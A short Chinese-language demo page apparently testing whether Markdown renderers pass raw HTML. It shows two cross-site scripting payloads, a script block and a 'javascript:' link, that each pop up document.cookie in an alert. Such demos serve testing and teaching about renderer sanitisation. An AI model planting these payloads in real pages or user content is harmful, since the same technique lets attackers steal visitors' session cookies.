Markdown XSS Script 攻擊

以下皆為直接在 Markdown 文件輸入 html script

Script XSS

程式碼

<script>
    alert(document.cookie);
</script>

連結 Script XSS

程式碼

<a href="javascript:alert(document.cookie);">連結 Script XSS</a>

DEMO

連結 Script XSS